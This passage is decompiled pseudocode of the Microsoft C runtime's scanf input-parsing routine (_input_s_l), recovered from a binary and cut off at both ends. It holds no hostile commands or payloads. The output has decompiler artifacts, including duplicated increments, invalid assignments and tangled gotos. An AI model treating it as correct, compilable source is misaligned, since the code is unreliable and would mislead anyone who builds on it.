													}
													L330:
													_t1052 =  *(_t1131 + 0xc);
													if(( *( *(_t1131 + 0xc)) & 0x000000ff) != 0x25) {
														L332:
														L334:
														if( *((intOrPtr*)(_t1131 - 0x28)) == 1) {
															L0041D8B0( *((intOrPtr*)(_t1131 - 0x84)), 2);
															_t1133 = _t1133 + 8;
														}
														if( *(_t1131 - 0x21c) != 0xffffffff) {
															L342:
															if( *(_t1131 - 0x24) != 1) {
																L351:
																_t1052 =  *(_t1131 - 8);
																 *(_t1131 - 0x24c) =  *(_t1131 - 8);
																E0041EA10(_t1131 - 0x214);
																_t820 =  *(_t1131 - 0x24c);
																goto L352;
															}
															L343:
															if(0 == 0) {
																 *(_t1131 - 0x278) = 0;
															} else {
																 *(_t1131 - 0x278) = 1;
															}
															_t1052 =  *(_t1131 - 0x278);
															 *(_t1131 - 0x240) =  *(_t1131 - 0x278);
															if( *(_t1131 - 0x240) == 0) {
																_push(L"(\"Invalid Input Format\",0)");
																_push(0);
																_push(0x563);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
																_push(2);
																_t825 = L0041F590();
																_t1133 = _t1133 + 0x14;
																if(_t825 == 1) {
																	asm("int3");
																}
															}
															if( *(_t1131 - 0x240) != 0) {
																goto L351;
															} else {
																L350:
																 *((intOrPtr*)(L0041F530(0))) = 0x16;
																E0041F2C0(_t957, 0, _t1129, _t1130, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x563, 0);
																 *(_t1131 - 0x248) =  *(_t1131 - 8);
																E0041EA10(_t1131 - 0x214);
																_t820 =  *(_t1131 - 0x248);
																goto L352;
															}
														} else {
															L337:
															if( *(_t1131 - 8) != 0) {
																L340:
																_t1052 =  *(_t1131 - 8);
																 *(_t1131 - 0x274) =  *(_t1131 - 8);
																L341:
																 *(_t1131 - 0x244) =  *(_t1131 - 0x274);
																E0041EA10(_t1131 - 0x214);
																_t820 =  *(_t1131 - 0x244);
																L352:
																return E004242B0(_t820, _t957,  *(_t1131 - 0x50) ^ _t1131, _t1052, _t1129, _t1130);
															}
															L338:
															if( *(_t1131 - 0x1e9) != 0) {
																goto L340;
															}
															L339:
															 *(_t1131 - 0x274) = 0xffffffff;
															goto L341;
														}
													}
													L331:
													_t970 =  *(_t1131 + 0xc);
													_t1052 =  *(_t970 + 1) & 0x000000ff;
													if(( *(_t970 + 1) & 0x000000ff) == 0x6e) {
														goto L333;
													}
													goto L332;
													L333:
													while(1) {
														L1:
														_t1052 =  *(_t1131 + 0xc);
														if(( *( *(_t1131 + 0xc)) & 0x000000ff) == 0) {
															goto L334;
														}
														L2:
														_t830 = E004328C0(_t957, _t1129, _t1130,  *( *(_t1131 + 0xc)) & 0x000000ff);
														_t1133 = _t1133 + 4;
														if(_t830 == 0) {
															L6:
															if(( *( *(_t1131 + 0xc)) & 0x000000ff) != 0x25) {
																L320:
																if(( *( *(_t1131 + 0xc)) & 0x000000ff) == 0x25) {
																	_t850 =  *(_t1131 + 0xc);
																	if(( *(_t850 + 1) & 0x000000ff) == 0x25) {
																		_t1063 =  *(_t1131 + 0xc) + 1;
																		 *(_t1131 + 0xc) = _t1063;
																	}
																}
																 *(_t1131 - 0xc) =  *(_t1131 - 0xc) + 1;
																_t834 = E00426CD0( *(_t1131 + 8),  *(_t1131 + 8));
																_t1136 = _t1133 + 4;
																 *(_t1131 - 0x21c) = _t834;
																 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																if(( *( *(_t1131 + 0xc)) & 0x000000ff) ==  *(_t1131 - 0x21c)) {
																	L325:
																	_t837 = E0042F0A0( *(_t1131 - 0x21c) & 0x000000ff);
																	_t1133 = _t1136 + 4;
																	if(_t837 == 0) {
																		do {
																			L329:
																			if( *(_t1131 - 0x21c) != 0xffffffff) {
																				goto L333;
																			}
																			goto L330;
																		} while (_t837 == 0);
																	}
																	L326:
																	 *(_t1131 - 0xc) =  *(_t1131 - 0xc) + 1;
																	_t839 = E00426CD0( *(_t1131 - 0xc) + 1,  *(_t1131 + 8));
																	_t1133 = _t1133 + 4;
																	 *((intOrPtr*)(_t1131 - 0x23c)) = _t839;
																	 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																	if(( *( *(_t1131 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1131 - 0x23c))) {
																		L328:
																		_t975 =  *(_t1131 - 0xc) - 1;
																		 *(_t1131 - 0xc) = _t975;
																		goto L329;
																	}
																	L327:
																	 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																	E00426D30( *((intOrPtr*)(_t1131 - 0x23c)),  *(_t1131 + 8));
																	 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																	_t1052 =  *(_t1131 + 8);
																	E00426D30( *(_t1131 - 0x21c),  *(_t1131 + 8));
																	_t1133 = _t1133 + 0x10;
																} else {
																	L324:
																	 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																	_t1052 =  *(_t1131 - 0x21c);
																	E00426D30( *(_t1131 - 0x21c),  *(_t1131 + 8));
																	_t1133 = _t1136 + 8;
																}
																goto L334;
															}
															L7:
															_t982 =  *(_t1131 + 0xc);
															if(( *(_t982 + 1) & 0x000000ff) == 0x25) {
																goto L320;
															} else {
																 *(_t1131 - 0x220) = 0;
																 *((char*)(_t1131 - 0x7d)) = 0;
																 *(_t1131 - 0x1f4) = 0;
																 *(_t1131 - 0x1f0) =  *(_t1131 - 0x1f4);
																 *(_t1131 - 0x78) =  *(_t1131 - 0x1f0);
																 *(_t1131 - 0x18) = 0;
																 *(_t1131 - 0x34) =  *(_t1131 - 0x18);
																 *(_t1131 - 0x40) = 0;
																 *(_t1131 - 3) = 0;
																 *((char*)(_t1131 - 2)) =  *(_t1131 - 3);
																 *((char*)(_t1131 - 0x12)) =  *((intOrPtr*)(_t1131 - 2));
																 *(_t1131 - 0x1e) =  *((intOrPtr*)(_t1131 - 0x12));
																 *(_t1131 - 0x29) =  *(_t1131 - 0x1e);
																 *(_t1131 - 0x215) = 0;
																 *((char*)(_t1131 - 0x1d)) = 1;
																 *(_t1131 - 0x30) = 0;
																while(1) {
																	L9:
																	if( *(_t1131 - 0x1e) != 0) {
																		break;
																	}
																	L10:
																	 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																	 *(_t1131 - 0x44) =  *( *(_t1131 + 0xc)) & 0x000000ff;
																	_t942 = E00432740(_t957, _t1129, _t1130,  *(_t1131 - 0x44) & 0x000000ff);
																	_t1133 = _t1133 + 4;
																	if(_t942 == 0) {
																		L12:
																		 *(_t1131 - 0x25c) =  *(_t1131 - 0x44);
																		 *(_t1131 - 0x25c) =  *(_t1131 - 0x25c) - 0x2a;
																		if( *(_t1131 - 0x25c) > 0x4d) {
																			L39:
																			_t945 =  *(_t1131 - 0x1e) + 1;
																			 *(_t1131 - 0x1e) = _t945;
																			goto L40;
																		}
																		L13:
																		_t63 =  *(_t1131 - 0x25c) + 0x426af8; // 0x1eff8b06
																		switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00426AD8))) {
																			case 0:
																				L38:
																				 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																				 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																				goto L40;
																			case 1:
																				L14:
																				goto L40;
																			case 2:
																				L16:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *(__eax + 1) & 0x000000ff;
																				__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																				if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																					L19:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																					__eflags = __ecx - 0x33;
																					if(__ecx != 0x33) {
																						L22:
																						__edx =  *(__ebp + 0xc);
																						__eax =  *(__edx + 1) & 0x000000ff;
																						__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																						if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																							L27:
																							__eax = 0;
																							__eflags = 0;
																							if(0 != 0) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) + 1;
																								__eflags = __ecx;
																								 *(__ebp - 0x30) = __ecx;
																								 *(__ebp - 0x200) = 0;
																								 *(__ebp - 0x1fc) = 0;
																							}
																							L29:
																							goto L40;
																						}
																						L23:
																						__ecx =  *(__ebp + 0xc);
																						__edx =  *(__ecx + 1) & 0x000000ff;
																						__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																						if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																							goto L27;
																						}
																						L24:
																						__eax =  *(__ebp + 0xc);
																						__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																						__eflags = __ecx - 0x6f;
																						if(__ecx == 0x6f) {
																							goto L27;
																						}
																						L25:
																						__edx =  *(__ebp + 0xc);
																						__eax =  *(__edx + 1) & 0x000000ff;
																						__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																						if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																							goto L27;
																						}
																						L26:
																						__ecx =  *(__ebp + 0xc);
																						__edx =  *(__ecx + 1) & 0x000000ff;
																						__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																						if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																							__edx = 0;
																							__eflags = 0;
																							if(0 != 0) {
																								__eax =  *(__ebp - 0x30);
																								__eax =  *(__ebp - 0x30) + 1;
																								__eflags = __eax;
																								 *(__ebp - 0x30) = __eax;
																								 *(__ebp - 0x200) = 0;
																								 *(__ebp - 0x1fc) = 0;
																							}
																							goto L39;
																						}
																						goto L27;
																					}
																					L20:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *(__edx + 2) & 0x000000ff;
																					__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																					if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																						goto L22;
																					} else {
																						__ecx =  *(__ebp + 0xc);
																						__ecx =  *(__ebp + 0xc) + 2;
																						 *(__ebp + 0xc) = __ecx;
																						goto L40;
																					}
																				}
																				L17:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 2) & 0x000000ff;
																				__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																				if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																					goto L19;
																				} else {
																					__ecx =  *(__ebp + 0xc);
																					__ecx =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) = __ecx;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x200) = 0;
																					 *(__ebp - 0x1fc) = 0;
																					goto L40;
																				}
																			case 3:
																				L33:
																				__cl =  *(__ebp - 0x1d);
																				__cl =  *(__ebp - 0x1d) + 1;
																				 *(__ebp - 0x1d) = __cl;
																				goto L40;
																			case 4:
																				L15:
																				__cl =  *(__ebp - 0x1d);
																				__cl =  *(__ebp - 0x1d) - 1;
																				 *(__ebp - 0x1d) = __cl;
																				 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																				 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																				goto L40;
																			case 5:
																				L34:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 1) & 0x000000ff;
																				__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																				if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																					__al =  *(__ebp - 0x1d);
																					__al =  *(__ebp - 0x1d) + 1;
																					__eflags = __al;
																					 *(__ebp - 0x1d) = __al;
																					goto L37;
																				} else {
																					__ecx =  *(__ebp + 0xc);
																					__ecx =  *(__ebp + 0xc) + 1;
																					 *(__ebp + 0xc) = __ecx;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																					 *(__ebp - 0x200) = 0;
																					 *(__ebp - 0x1fc) = 0;
																					goto L40;
																				}
																			case 6:
																				L37:
																				__cl =  *(__ebp - 0x215);
																				__cl =  *(__ebp - 0x215) + 1;
																				 *(__ebp - 0x215) = __cl;
																				goto L40;
																			case 7:
																				goto L39;
																		}
																	} else {
																		 *(_t1131 - 0x1f0) =  *(_t1131 - 0x1f0) + 1;
																		 *(_t1131 - 0x78) =  *(_t1131 - 0x44) + ( *(_t1131 - 0x78) +  *(_t1131 - 0x78) * 4) * 2 - 0x30;
																		L40:
																		continue;
																	}
																}
																L41:
																if( *((char*)(_t1131 - 0x12)) != 0) {
																	 *(_t1131 - 0x7c) = 0;
																} else {
																	 *((intOrPtr*)(_t1131 - 0x1c)) =  *((intOrPtr*)(_t1131 + 0x14));
																	 *((intOrPtr*)(_t1131 + 0x14)) =  *((intOrPtr*)(_t1131 + 0x14)) + 4;
																	 *(_t1131 - 0x7c) =  *( *((intOrPtr*)(_t1131 + 0x14)) - 4);
																}
																 *(_t1131 - 0x1e) = 0;
																if( *(_t1131 - 0x215) != 0) {
																	L49:
																	_t987 =  *(_t1131 + 0xc);
																	_t1052 =  *( *(_t1131 + 0xc)) & 0x000000ff | 0x00000020;
																	 *(_t1131 - 0x44) =  *( *(_t1131 + 0xc)) & 0x000000ff | 0x00000020;
																	if( *(_t1131 - 0x44) == 0x6e) {
																		L54:
																		if( *(_t1131 - 0x44) == 0x6e) {
																			L57:
																			if( *(_t1131 - 0x1f0) == 0) {
																				L59:
																				if( *((char*)(_t1131 - 0x12)) != 0) {
																					L68:
																					 *(_t1131 - 0x260) =  *(_t1131 - 0x44);
																					 *(_t1131 - 0x260) =  *(_t1131 - 0x260) - 0x63;
																					if( *(_t1131 - 0x260) > 0x18) {
																						L312:
																						if(( *( *(_t1131 + 0xc)) & 0x000000ff) ==  *(_t1131 - 0x21c)) {
																							L314:
																							_t1069 =  *(_t1131 - 0x1e9) - 1;
																							 *(_t1131 - 0x1e9) = _t1069;
																							if( *((char*)(_t1131 - 0x12)) == 0) {
																								 *((intOrPtr*)(_t1131 + 0x14)) =  *((intOrPtr*)(_t1131 - 0x1c));
																							}
																							while(1) {
																								L317:
																								 *(_t1131 - 0x1e9) =  *(_t1131 - 0x1e9) + 1;
																								 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																								goto L329;
																							}
																						}
																						L313:
																						_t1052 =  *(_t1131 - 0xc) - 1;
																						 *(_t1131 - 0xc) =  *(_t1131 - 0xc) - 1;
																						E00426D30( *(_t1131 - 0x21c),  *(_t1131 + 8));
																						_t1133 = _t1133 + 8;
																						 *(_t1131 - 0x24) = 1;
																						goto L334;
																					}
																					L69:
																					_t185 =  *(_t1131 - 0x260) + 0x426b70; // 0xcccccc08
																					switch( *((intOrPtr*)(( *_t185 & 0x000000ff) * 4 +  &M00426B48))) {
																						case 0:
																							L70:
																							__eflags =  *(_t1131 - 0x1f0);
																							if( *(_t1131 - 0x1f0) == 0) {
																								 *(_t1131 - 0x1f0) =  *(_t1131 - 0x1f0) + 1;
																								_t1111 =  *(_t1131 - 0x78) + 1;
																								__eflags = _t1111;
																								 *(_t1131 - 0x78) = _t1111;
																							}
																							L72:
																							__eflags =  *(_t1131 - 0x215);
																							if( *(_t1131 - 0x215) > 0) {
																								_t1031 =  *(_t1131 - 0x29) + 1;
																								__eflags = _t1031;
																								 *(_t1131 - 0x29) = _t1031;
																							}
																							L74:
																							goto L103;
																						case 1:
																							L190:
																							__eflags =  *(__ebp - 0x21c) - 0x2d;
																							if( *(__ebp - 0x21c) != 0x2d) {
																								L192:
																								__eflags =  *(__ebp - 0x21c) - 0x2b;
																								if( *(__ebp - 0x21c) != 0x2b) {
																									while(1) {
																										L197:
																										if( *(__ebp - 0x30) == 0) {
																											goto L225;
																										}
																										goto L198;
																										while(1) {
																											L225:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												break;
																											}
																											L226:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																											if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																												L228:
																												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__cl =  *(__ebp - 0x1e);
																													__cl =  *(__ebp - 0x1e) + 1;
																													__eflags = __cl;
																													 *(__ebp - 0x1e) = __cl;
																												} else {
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													__eax =  *(__ebp - 0x21c) & 0x000000ff;
																													 *(__ebp - 0x21c) = E00426C90(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																												}
																												L241:
																												__eax =  *(__ebp - 0x1e);
																												__eflags =  *(__ebp - 0x1e);
																												if( *(__ebp - 0x1e) != 0) {
																													L247:
																													__eax =  *(__ebp - 0xc);
																													__eax =  *(__ebp - 0xc) - 1;
																													__eflags = __eax;
																													 *(__ebp - 0xc) = __eax;
																													__ecx =  *(__ebp + 8);
																													__edx =  *(__ebp - 0x21c);
																													__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																													L248:
																													continue;
																												}
																												L242:
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												__edx =  *(__ebp - 0x21c);
																												__eax =  *(__ebp - 0x220);
																												__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																												 *(__ebp - 0x220) = __ecx;
																												__eflags =  *(__ebp - 0x1f0);
																												if( *(__ebp - 0x1f0) == 0) {
																													L245:
																													__ecx =  *(__ebp - 0xc);
																													__ecx =  *(__ebp - 0xc) + 1;
																													__eflags = __ecx;
																													 *(__ebp - 0xc) = __ecx;
																													__edx =  *(__ebp + 8);
																													 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																													L246:
																													goto L248;
																												}
																												L243:
																												__edx =  *(__ebp - 0x78);
																												__edx =  *(__ebp - 0x78) - 1;
																												__eflags = __edx;
																												 *(__ebp - 0x78) = __edx;
																												if(__edx != 0) {
																													goto L245;
																												}
																												L244:
																												__al =  *(__ebp - 0x1e);
																												__al =  *(__ebp - 0x1e) + 1;
																												 *(__ebp - 0x1e) = __al;
																												goto L246;
																											}
																											L227:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																											if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																												L232:
																												__edx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__dl =  *(__ebp - 0x1e);
																													__dl =  *(__ebp - 0x1e) + 1;
																													__eflags = __dl;
																													 *(__ebp - 0x1e) = __dl;
																												} else {
																													__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																													if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																														__edx =  *(__ebp - 0x220);
																														__eax =  *(__ebp - 0x220);
																														__ecx = __eax + __edx * 4;
																														__ecx = __eax + __edx * 4 << 1;
																														__eflags = __ecx;
																														 *(__ebp - 0x220) = __ecx;
																													} else {
																														__eflags =  *(__ebp - 0x21c) - 0x38;
																														if( *(__ebp - 0x21c) >= 0x38) {
																															__cl =  *(__ebp - 0x1e);
																															__cl =  *(__ebp - 0x1e) + 1;
																															__eflags = __cl;
																															 *(__ebp - 0x1e) = __cl;
																														} else {
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																														}
																													}
																												}
																												goto L241;
																											}
																											goto L228;
																										}
																										L249:
																										__eax =  *(__ebp - 2);
																										__eflags =  *(__ebp - 2);
																										if( *(__ebp - 2) != 0) {
																											__ecx =  *(__ebp - 0x220);
																											__ecx =  ~( *(__ebp - 0x220));
																											 *(__ebp - 0x220) = __ecx;
																										}
																										goto L251;
																									}
																								}
																								L193:
																								__ecx =  *(__ebp - 0x78);
																								__ecx =  *(__ebp - 0x78) - 1;
																								__eflags = __ecx;
																								 *(__ebp - 0x78) = __ecx;
																								if(__ecx != 0) {
																									L196:
																									__eax =  *(__ebp - 0xc);
																									__eax =  *(__ebp - 0xc) + 1;
																									__eflags = __eax;
																									 *(__ebp - 0xc) = __eax;
																									__ecx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E00426CD0(__ecx, __ecx);
																									do {
																										L197:
																										if( *(__ebp - 0x30) == 0) {
																											goto L225;
																										}
																										goto L198;
																									} while ( *(__ebp - 0x21c) != 0x2b);
																									goto L193;
																								}
																								L194:
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) == 0) {
																									goto L196;
																								}
																								L195:
																								 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																								 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																								goto L197;
																							}
																							L191:
																							__al =  *(__ebp - 2);
																							__al =  *(__ebp - 2) + 1;
																							 *(__ebp - 2) = __al;
																							goto L193;
																						case 2:
																							L267:
																							 *(__ebp - 0x10) = 0;
																							__eflags =  *(__ebp - 0x21c) - 0x2d;
																							if( *(__ebp - 0x21c) != 0x2d) {
																								L269:
																								__eflags =  *(__ebp - 0x21c) - 0x2b;
																								if( *(__ebp - 0x21c) != 0x2b) {
																									L271:
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) == 0) {
																										 *(__ebp - 0x78) = 0xffffffff;
																									}
																									while(1) {
																										L273:
																										__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											break;
																										}
																										L274:
																										__edx =  *(__ebp - 0x78);
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																										__eflags =  *(__ebp - 0x78);
																										if( *(__ebp - 0x78) == 0) {
																											break;
																										}
																										L275:
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										__al =  *(__ebp - 0x21c);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __al;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__edx = __ebp - 0x28;
																										__eax = __ebp - 0x1e8;
																										__ecx = __ebp - 0x84;
																										__edx = __ebp - 0x204;
																										__eax =  *(__ebp - 0x10);
																										__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L277:
																											__ecx =  *(__ebp - 0xc);
																											__ecx =  *(__ebp - 0xc) + 1;
																											 *(__ebp - 0xc) = __ecx;
																											__edx =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																											continue;
																										}
																										L276:
																										goto L334;
																									}
																									L278:
																									__eax = __ebp - 0x214;
																									__eax = E00425070(__ebp - 0x214);
																									__ecx =  *__eax;
																									__dl =  *( *__eax);
																									 *((char*)(__ebp - 1)) =  *( *__eax);
																									__eax =  *((char*)(__ebp - 1));
																									__ecx =  *(__ebp - 0x21c);
																									__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																									if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																										L287:
																										__eflags =  *(__ebp - 0x1f4);
																										if( *(__ebp - 0x1f4) == 0) {
																											L306:
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																											 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																											__eax =  *(__ebp + 8);
																											__ecx =  *(__ebp - 0x21c);
																											__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																											__eflags =  *(__ebp - 0x1f4);
																											if( *(__ebp - 0x1f4) == 0) {
																												L310:
																												goto L334;
																											}
																											L307:
																											__edx =  *((char*)(__ebp - 0x12));
																											__eflags =  *((char*)(__ebp - 0x12));
																											if( *((char*)(__ebp - 0x12)) == 0) {
																												 *(__ebp - 8) =  *(__ebp - 8) + 1;
																												 *(__ebp - 8) =  *(__ebp - 8) + 1;
																												 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																												 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																												__ecx = __ebp - 0x214;
																												_push(E0041EA40(__ebp - 0x214));
																												__edx =  *(__ebp - 0x84);
																												_push( *(__ebp - 0x84));
																												__eax =  *(__ebp - 0x7c);
																												_push( *(__ebp - 0x7c));
																												__ecx =  *(__ebp - 0x1d);
																												__ecx =  *(__ebp - 0x1d) - 1;
																												__eflags = __ecx;
																												_push(__ecx);
																												__edx =  *0x43de8c; // 0xfb3c7abe
																												E00427990(__edx) =  *__eax();
																												__esp = __esp + 0x10;
																											}
																											L317:
																											 *(_t1131 - 0x1e9) =  *(_t1131 - 0x1e9) + 1;
																											 *(_t1131 + 0xc) =  *(_t1131 + 0xc) + 1;
																											goto L329;
																										}
																										L288:
																										__eflags =  *(__ebp - 0x21c) - 0x65;
																										if( *(__ebp - 0x21c) == 0x65) {
																											L290:
																											__ecx =  *(__ebp - 0x78);
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											__eflags =  *(__ebp - 0x78);
																											if( *(__ebp - 0x78) == 0) {
																												goto L306;
																											}
																											L291:
																											 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																											 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																											__edx = __ebp - 0x28;
																											__eax = __ebp - 0x1e8;
																											__ecx = __ebp - 0x84;
																											__edx = __ebp - 0x204;
																											__eax =  *(__ebp - 0x10);
																											__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																											__eflags = __eax;
																											if(__eax != 0) {
																												L293:
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																												__eflags =  *(__ebp - 0x21c) - 0x2d;
																												if( *(__ebp - 0x21c) != 0x2d) {
																													L297:
																													__eflags =  *(__ebp - 0x21c) - 0x2b;
																													if( *(__ebp - 0x21c) != 0x2b) {
																														while(1) {
																															L301:
																															__eax =  *(__ebp - 0x21c) & 0x000000ff;
																															__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																															__eflags = __eax;
																															if(__eax == 0) {
																																goto L306;
																															}
																															L302:
																															__ecx =  *(__ebp - 0x78);
																															 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																															 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																															__eflags =  *(__ebp - 0x78);
																															if( *(__ebp - 0x78) == 0) {
																																goto L306;
																															}
																															L303:
																															 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																															 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																															 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																															__dl =  *(__ebp - 0x21c);
																															 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																															 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																															 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																															__ecx = __ebp - 0x28;
																															__edx = __ebp - 0x1e8;
																															__eax = __ebp - 0x84;
																															__ecx = __ebp - 0x204;
																															__edx =  *(__ebp - 0x10);
																															__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																															__eflags = __eax;
																															if(__eax != 0) {
																																L305:
																																 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																																 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																																__ecx =  *(__ebp + 8);
																																 *(__ebp - 0x21c) = E00426CD0( *(__ebp + 8),  *(__ebp + 8));
																																continue;
																															}
																															L304:
																															goto L334;
																														}
																														goto L306;
																													}
																													L298:
																													__ecx =  *(__ebp - 0x78);
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													__eflags =  *(__ebp - 0x78);
																													if( *(__ebp - 0x78) != 0) {
																														__ecx =  *(__ebp - 0xc);
																														__ecx =  *(__ebp - 0xc) + 1;
																														__eflags = __ecx;
																														 *(__ebp - 0xc) = __ecx;
																														__edx =  *(__ebp + 8);
																														 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
